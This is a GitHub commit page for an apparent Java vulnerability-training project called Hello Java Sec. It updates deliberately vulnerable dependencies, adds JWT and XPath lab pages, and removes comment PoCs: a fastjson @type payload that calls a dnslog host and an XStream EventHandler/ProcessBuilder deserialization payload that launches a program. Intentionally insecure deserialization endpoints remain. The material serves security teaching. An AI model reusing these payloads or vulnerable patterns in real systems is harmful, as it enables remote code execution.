Skip to content

Commit 02b37e2

Browse files
committed
💥 Java Sec
1 parent a8c0611 commit 02b37e2

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

80 files changed

+3152
-1360
lines changed

README.md

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# ☕️ Hello Java Sec ![Stage](https://img.shields.io/badge/Release-DEV-brightgreen.svg)
1+
# ☕️ Hello Java Sec ![Stage](https://img.shields.io/badge/Release-DEV-brightgreen.svg) ![Build Status](https://img.shields.io/badge/Version-1.10-red.svg)
22
> Java漏洞平台,结合漏洞代码和安全编码,帮助研发同学理解和减少漏洞,代码仅供参考
33
44
![](media/16304933749187.jpg)
@@ -25,6 +25,8 @@
2525
- [x] Log4shell
2626
- [x] JNDI
2727
- [x] Dos
28+
- [x] Xpath
29+
- [x] Jwt
2830
- [ ] more
2931

3032
![](media/16304936834843.jpg)
@@ -38,7 +40,7 @@ spring.datasource.username=root
3840
spring.datasource.password=1234567
3941
```
4042

41-
### Jar
43+
### Jar运行
4244
> JDK 1.8环境
4345
```
4446
git clone https://github.com/j3ers3/Hello-Java-Sec
@@ -47,7 +49,7 @@ mvn clean package -DskipTests
4749
java -jar target/hello-1.0.0-SNAPSHOT.jar
4850
```
4951

50-
### Docker
52+
### Docker运行
5153
```
5254
mvn clean package
5355
./deploy.sh

codeql.sh

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
codeql database create javasec --language="java" --command="mvn clean install --file pom.xml" --source-root=./Hello-Java-Sec
2+
codeql database analyze javasec /CodeQL/ql/java/ql/src/codeql-suites/java-security-extended.qls --format=csv --output=codeql.csv

hello.iml

Lines changed: 15 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -46,11 +46,12 @@
4646
<orderEntry type="library" name="Maven: org.apache.velocity:velocity:1.7" level="project" />
4747
<orderEntry type="library" name="Maven: commons-collections:commons-collections:3.2.1" level="project" />
4848
<orderEntry type="library" name="Maven: commons-lang:commons-lang:2.4" level="project" />
49-
<orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-starter:2.1.4" level="project" />
50-
<orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-autoconfigure:2.1.4" level="project" />
51-
<orderEntry type="library" name="Maven: org.mybatis:mybatis:3.5.6" level="project" />
52-
<orderEntry type="library" name="Maven: org.mybatis:mybatis-spring:2.0.6" level="project" />
53-
<orderEntry type="library" scope="RUNTIME" name="Maven: mysql:mysql-connector-java:8.0.22" level="project" />
49+
<orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-starter:2.2.2" level="project" />
50+
<orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-autoconfigure:2.2.2" level="project" />
51+
<orderEntry type="library" name="Maven: org.mybatis:mybatis:3.5.9" level="project" />
52+
<orderEntry type="library" name="Maven: org.mybatis:mybatis-spring:2.0.7" level="project" />
53+
<orderEntry type="library" name="Maven: com.unboundid:unboundid-ldapsdk:4.0.14" level="project" />
54+
<orderEntry type="library" scope="RUNTIME" name="Maven: mysql:mysql-connector-java:8.0.28" level="project" />
5455
<orderEntry type="library" scope="TEST" name="Maven: org.springframework.boot:spring-boot-starter-test:2.4.1" level="project" />
5556
<orderEntry type="library" scope="TEST" name="Maven: org.springframework.boot:spring-boot-test:2.4.1" level="project" />
5657
<orderEntry type="library" scope="TEST" name="Maven: org.springframework.boot:spring-boot-test-autoconfigure:2.4.1" level="project" />
@@ -94,7 +95,7 @@
9495
<orderEntry type="library" name="Maven: org.springframework:spring-webmvc:5.3.2" level="project" />
9596
<orderEntry type="library" name="Maven: org.springframework:spring-aop:5.3.2" level="project" />
9697
<orderEntry type="library" name="Maven: org.springframework:spring-expression:5.3.2" level="project" />
97-
<orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.24" level="project" />
98+
<orderEntry type="library" name="Maven: com.alibaba:fastjson:1.2.41" level="project" />
9899
<orderEntry type="library" name="Maven: com.thoughtworks.xstream:xstream:1.4.10" level="project" />
99100
<orderEntry type="library" name="Maven: xmlpull:xmlpull:1.1.3.1" level="project" />
100101
<orderEntry type="library" name="Maven: xpp3:xpp3_min:1.1.4c" level="project" />
@@ -174,7 +175,9 @@
174175
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-databind:2.11.0" level="project" />
175176
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-annotations:2.11.0" level="project" />
176177
<orderEntry type="library" name="Maven: com.fasterxml.jackson.core:jackson-core:2.11.0" level="project" />
177-
<orderEntry type="library" name="Maven: org.yaml:snakeyaml:1.17" level="project" />
178+
<orderEntry type="library" name="Maven: org.apache.commons:commons-text:1.9" level="project" />
179+
<orderEntry type="library" name="Maven: org.apache.commons:commons-lang3:3.11" level="project" />
180+
<orderEntry type="library" name="Maven: org.yaml:snakeyaml:1.27" level="project" />
178181
<orderEntry type="library" name="Maven: org.owasp.esapi:esapi:2.2.0.0" level="project" />
179182
<orderEntry type="library" name="Maven: com.io7m.xom:xom:1.2.10" level="project" />
180183
<orderEntry type="library" name="Maven: commons-beanutils:commons-beanutils:1.9.3" level="project" />
@@ -209,5 +212,10 @@
209212
<orderEntry type="library" name="Maven: com.google.code.gson:gson:2.8.6" level="project" />
210213
<orderEntry type="library" name="Maven: com.google.re2j:re2j:1.6" level="project" />
211214
<orderEntry type="library" name="Maven: com.github.whvcse:easy-captcha:1.6.2" level="project" />
215+
<orderEntry type="library" name="Maven: org.mindrot:jbcrypt:0.4" level="project" />
216+
<orderEntry type="library" name="Maven: com.auth0:java-jwt:4.2.1" level="project" />
217+
<orderEntry type="library" name="Maven: io.jsonwebtoken:jjwt:0.9.1" level="project" />
218+
<orderEntry type="library" name="Maven: com.mchange:c3p0:0.9.5.2" level="project" />
219+
<orderEntry type="library" name="Maven: com.mchange:mchange-commons-java:0.2.11" level="project" />
212220
</component>
213221
</module>

pom.xml

Lines changed: 53 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -11,15 +11,17 @@
1111

1212
<groupId>com.best</groupId>
1313
<artifactId>javasec</artifactId>
14-
<version>1.7</version>
14+
<version>1.10</version>
1515
<name>hello java sec</name>
1616
<description>Java Sec</description>
1717
<packaging>jar</packaging>
1818

1919
<properties>
2020
<java.version>1.8</java.version>
21+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
2122
</properties>
2223

24+
<!-- 仓库搜索 https://mvnrepository.com -->
2325
<dependencies>
2426
<dependency>
2527
<groupId>org.springframework.boot</groupId>
@@ -43,13 +45,20 @@
4345
<dependency>
4446
<groupId>org.mybatis.spring.boot</groupId>
4547
<artifactId>mybatis-spring-boot-starter</artifactId>
46-
<version>2.1.4</version>
48+
<version>2.2.2</version>
49+
</dependency>
50+
51+
<!-- jndi ldap -->
52+
<dependency>
53+
<groupId>com.unboundid</groupId>
54+
<artifactId>unboundid-ldapsdk</artifactId>
4755
</dependency>
4856

4957
<!-- mysql驱动 -->
5058
<dependency>
5159
<groupId>mysql</groupId>
5260
<artifactId>mysql-connector-java</artifactId>
61+
<version>8.0.28</version>
5362
<scope>runtime</scope>
5463
</dependency>
5564

@@ -69,7 +78,7 @@
6978
<dependency>
7079
<groupId>com.alibaba</groupId>
7180
<artifactId>fastjson</artifactId>
72-
<version>1.2.24</version>
81+
<version>1.2.41</version>
7382
</dependency>
7483

7584
<!-- xstream多个rce -->
@@ -136,6 +145,7 @@
136145
<artifactId>springfox-swagger2</artifactId>
137146
<version>2.9.2</version>
138147
</dependency>
148+
139149
<dependency>
140150
<groupId>org.jsoup</groupId>
141151
<artifactId>jsoup</artifactId>
@@ -181,20 +191,17 @@
181191
<version>2.11.0</version>
182192
</dependency>
183193

184-
<!-- webservice -->
185-
<!--
186194
<dependency>
187-
<groupId>org.apache.cxf</groupId>
188-
<artifactId>cxf-spring-boot-starter-jaxws</artifactId>
189-
<version>3.2.5</version>
195+
<groupId>org.apache.commons</groupId>
196+
<artifactId>commons-text</artifactId>
197+
<version>1.9</version>
190198
</dependency>
191-
-->
192199

193200
<!-- snakeyaml rce-->
194201
<dependency>
195202
<groupId>org.yaml</groupId>
196203
<artifactId>snakeyaml</artifactId>
197-
<version>1.17</version>
204+
<version>1.27</version>
198205
</dependency>
199206

200207
<!-- 高版本会报错! -->
@@ -204,7 +211,7 @@
204211
<version>2.2.0.0</version>
205212
</dependency>
206213

207-
<!-- log4j 远程代码执行 2.15.0依赖已修复 -->
214+
<!-- log4Shell -->
208215
<dependency>
209216
<groupId>org.apache.logging.log4j</groupId>
210217
<artifactId>log4j-core</artifactId>
@@ -233,15 +240,40 @@
233240
<groupId>com.google.re2j</groupId>
234241
<artifactId>re2j</artifactId>
235242
<version>1.6</version>
236-
237243
</dependency>
238244

245+
246+
<!-- 图形验证码 -->
239247
<dependency>
240248
<groupId>com.github.whvcse</groupId>
241249
<artifactId>easy-captcha</artifactId>
242250
<version>1.6.2</version>
243251
</dependency>
244252

253+
<dependency>
254+
<groupId>org.mindrot</groupId>
255+
<artifactId>jbcrypt</artifactId>
256+
<version>0.4</version>
257+
</dependency>
258+
259+
<!-- JWT -->
260+
<dependency>
261+
<groupId>com.auth0</groupId>
262+
<artifactId>java-jwt</artifactId>
263+
<version>4.2.1</version>
264+
</dependency>
265+
266+
<dependency>
267+
<groupId>io.jsonwebtoken</groupId>
268+
<artifactId>jjwt</artifactId>
269+
<version>0.9.1</version>
270+
</dependency>
271+
272+
<dependency>
273+
<groupId>com.mchange</groupId>
274+
<artifactId>c3p0</artifactId>
275+
<version>0.9.5.2</version>
276+
</dependency>
245277

246278
</dependencies>
247279

@@ -256,22 +288,19 @@
256288
</plugin>
257289

258290
<plugin>
259-
<groupId>org.owasp</groupId>
260-
<artifactId>dependency-check-maven</artifactId>
261-
<version>6.5.3</version>
262-
263-
<executions>
264-
<execution>
265-
<goals>
266-
<goal>check</goal>
267-
</goals>
268-
</execution>
269-
</executions>
291+
<groupId>org.apache.maven.plugins</groupId>
292+
<artifactId>maven-resources-plugin</artifactId>
293+
<version>3.2.0</version>
294+
<configuration>
295+
<propertiesEncoding>${project.build.sourceEncoding}</propertiesEncoding>
296+
</configuration>
270297
</plugin>
271298

272299
<plugin>
300+
<!-- OWASP 生成物料清单SBOM,提供Dependency Track分析 -->
273301
<groupId>org.cyclonedx</groupId>
274302
<artifactId>cyclonedx-maven-plugin</artifactId>
303+
<version>2.7.2</version>
275304
<executions>
276305
<execution>
277306
<phase>compile</phase>
@@ -285,8 +314,8 @@
285314
</configuration>
286315
</plugin>
287316

317+
288318
</plugins>
289319
</build>
290320

291-
292321
</project>

src/main/java/com/best/hello/HelloApplication.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,11 +3,9 @@
33
import org.springframework.boot.SpringApplication;
44
import org.springframework.boot.autoconfigure.SpringBootApplication;
55

6-
/* Spring Boot 启动类 */
76
@SpringBootApplication
87
public class HelloApplication {
98

10-
/* main方法,程序执行入口 */
119
public static void main(String[] args) {
1210
SpringApplication.run(HelloApplication.class, args);
1311
}

src/main/java/com/best/hello/Swagger2.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ private ApiInfo apiInfo() {
3939
.title("Swagger2 RESTful API")
4040
//创建人
4141
.contact(new Contact("nul1", "https://www.github.com/j3ers3", "hahah@gmail.com"))
42-
.version("1.1")
42+
.version("1.10")
4343
.description("Hello Java Sec API")
4444
.build();
4545
}

src/main/java/com/best/hello/config/MvcConfig.java

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -24,12 +24,10 @@ public void addViewControllers(ViewControllerRegistry registry) {
2424
registry.addViewController("/index/deserialize").setViewName("deserialize");
2525
registry.addViewController("/index/redirect").setViewName("redirect");
2626
registry.addViewController("/index/actuator").setViewName("actuator");
27-
registry.addViewController("/index/broken_access_control").setViewName("bac");
27+
registry.addViewController("/index/idor").setViewName("idor");
2828
registry.addViewController("/index/upload").setViewName("upload");
29-
registry.addViewController("/index/password").setViewName("password");
3029
registry.addViewController("/index/xstream").setViewName("xstream");
3130
registry.addViewController("/index/fastjson").setViewName("fastjson");
32-
registry.addViewController("/index/admin").setViewName("logs");
3331
registry.addViewController("/index/xff").setViewName("xff");
3432
registry.addViewController("/index/unauth").setViewName("unauth");
3533
registry.addViewController("/index/jackson").setViewName("jackson");
@@ -39,6 +37,9 @@ public void addViewControllers(ViewControllerRegistry registry) {
3937
registry.addViewController("/index/dos").setViewName("dos");
4038
registry.addViewController("/index/cors").setViewName("cors");
4139
registry.addViewController("/index/captcha").setViewName("captcha_vul");
40+
registry.addViewController("/index/swagger").setViewName("swagger");
41+
registry.addViewController("/index/jwt").setViewName("jwt");
42+
registry.addViewController("/index/xpath").setViewName("xpath");
4243

4344
}
4445

src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -20,11 +20,6 @@
2020
@RequestMapping("/Fastjson")
2121
public class FastjsonVul {
2222

23-
/**
24-
* 触发条件:Fastjson版本小于等于1.2.24、Java版本小于8u121(?)
25-
* @poc {"@type":"java.net.Inet4Address","val":"a.8d5tv8.dnslog.cn"}
26-
*
27-
*/
2823
@RequestMapping(value = "/vul", method = {RequestMethod.POST})
2924
public String vul(@RequestBody String content) {
3025

src/main/java/com/best/hello/controller/ComponentsVul/XStreamVul.java

Lines changed: 1 addition & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -17,24 +17,6 @@
1717
@RequestMapping("/XStream")
1818
public class XStreamVul {
1919

20-
/**
21-
* @poc 存在多个poc
22-
* <sorted-set>
23-
* <dynamic-proxy>
24-
* <interface>java.lang.Comparable</interface>
25-
* <handler class="java.beans.EventHandler">
26-
* <target class="java.lang.ProcessBuilder">
27-
* <command>
28-
* <string>open</string>
29-
* <string>-a</string>
30-
* <string>Calculator</string>
31-
* </command>
32-
* </target>
33-
* <action>start</action>
34-
* </handler>
35-
* </dynamic-proxy>
36-
* </sorted-set>
37-
*/
3820
@RequestMapping("/vul")
3921
public String vul(@RequestBody String content) {
4022
XStream xs = new XStream();
@@ -81,7 +63,7 @@ public static void main(String[] args) {
8163
"</map>";
8264

8365
XStream xs = new XStream();
84-
// 有效:XStream.setupDefaultSecurity(xs);
66+
// XStream.setupDefaultSecurity(xs);
8567

8668
xs.fromXML(xml_poc);
8769
}

0 commit comments

Comments
 (0)